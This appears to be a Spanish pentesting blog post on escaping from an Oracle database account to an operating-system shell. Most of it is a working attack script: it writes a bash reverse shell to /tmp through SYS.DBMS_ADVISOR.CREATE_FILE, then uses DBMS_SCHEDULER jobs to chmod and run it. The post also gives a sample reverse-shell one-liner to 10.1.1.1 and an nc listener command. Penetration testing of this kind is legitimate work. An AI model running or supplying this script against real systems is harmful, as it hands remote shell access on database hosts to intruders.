En ocasiones en un
pentesting es más fácil conseguir un usuario de oracle que un usuario de SO,
pero nos interesa obtener una shell en la máquina.
No es raro encontrar todo tipo de credenciales
"hardcodeadas" en texto plano en ficheros de configuración y todavía es más
frecuente si hablamos de bases de datos, se pueden encontrar usuarios con
credenciales "hardcodeadas" en equipos finales de usuarios (automatizaciones,
etc), el caso que aquí nos ocupa es el de encontrar una forma simple para
salirse de Oracle (en este caso) al sistema operativo, veamos como podemos
lograrlo.
Vamos a suponer que o bien somos
un usuario de base de datos “legal” o bien hemos realizado el proceso típico en
pentesting de Oracle, a saber:
1) Encontrar bases de datos
2)
Obtener SIDs
3) Obtener
Users/Pass
4) Login y enumerate DB Schema
5) etc…
Siendo así vamos a suponer que
tenemos usuario en la base de datos y que unicamente tenemos acceso al host mediante el puerto 1521
(puerto estándar del listener), necesitaremos por tanto una shell reversa, por
ejemplo, de forma simple y sin perder generalidad: bash -i >& /dev/tcp/10.1.1.1/12345 0>&1 y como es de
suponer a la escucha pondremos por ejemplo un nc –l –p 12345….
Necesitaremos
de algún modo poder escribir en el host, Oracle proporciona varias forma de
hacerlo, muchas de ellas que por defecto se establecen a nivel de packages y
con permisos de execute a public! Que tenemos disponible para nuestras
necesidades:
SYS.DBMS_ADVISOR.CREATE_FILE:
Como su nombre indica la usaremos para crear el fichero octopus.sh en /tmp. El
fichero contiene nuestra shell reversa “bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1”.
DBMS_SCHEDULER.CREATE_JOB:
Otra gran utilidad de Oracle que nos permite crear jobs, en este caso crearemos
“mjob” para que de permisos a nuestra
shell reversa, esto es, un chmod 755 en /tmp/octopus.sh
DBMS_SCHEDULER:
Como no podría ser de otra forma, tenemos que lanzar el script, para ello
Oracle nuevamente nos ayuda, la idea es ejecutar /etm/octopus.sh
Veamos
entonces como será el montante final:
#/bin/bash
USER=$1
PW=$2
IP=$3
SID=$4
echo "Puerto RevShell"
read PUERTO
echo "IP reverse:"
read HOST
echo "Arranca el listener ej: nc -l -p $PUERTO ...."
read
sqlplus $USER/$PW@//$IP/$SID<<BELCEBU
CREATE DIRECTORY ESTEMISMO as '/tmp';
GRANT read,write on DIRECTORY ESTEMISMO to public;
SET define off;
DECLARE
belce_data clob;
ESTEMISMO varchar2(200);
fich varchar2(700);
BEGIN
belce_data:='bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1';
ESTEMISMO:= 'ESTEMISMO';
fich:='octopus.sh.sh';
SYS.DBMS_ADVISOR.CREATE_FILE (belce_data, ESTEMISMO, fich);
COMMIT;
dbms_scheduler.create_job(job_name => 'lanzador',
job_type => 'executable',
job_action => '/bin/chmod',
number_of_arguments => 2,
enabled => FALSE,
auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('lanzador',1,'755');
dbms_scheduler.set_job_argument_value('lanzador',2,'/tmp/octopus.sh.sh');
dbms_scheduler.enable('lanzador');
dbms_scheduler.create_job(job_name => 'octopusshell',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 1,
start_date => SYSTIMESTAMP,
enabled => FALSE);
dbms_scheduler.set_job_argument_value('octopusshell',1,'/tmp/octopus.sh.sh');
dbms_scheduler.enable('octopusshell');
END;
/
BELCEBU
Exit
Como podemos ver hemos obtenido shell en la máquina sobre
la cual corre la base de datos Oracle de la que somos usuario, el único y gran
problema que tenemos es nuestra personalidad en unix, si el usuario con el que
nos conectamos a la base de datos tambien existe como usuario del sistema
operativo, lease el caso típico del usuario Oracle, obtendríamos shell en la
máquina como usuario Oracle y probablemente grupo DBA o similar, pero si el
usuario de la base de datos no existe en el sistema Unix, como en este caso el
usuario “segtest”, al salirnos de Oracle obtendremos shell con usuario y grupo
nobody, la pregunta genérica es ¿Qué podemos hacer para elevar privilegios?
Seguramente tendremos muchas respuestas, pero la pregunta concreta es ¿Podemos
salir y conseguir privilegios con métodos similares?
Las respuestas
se harán esperar :D
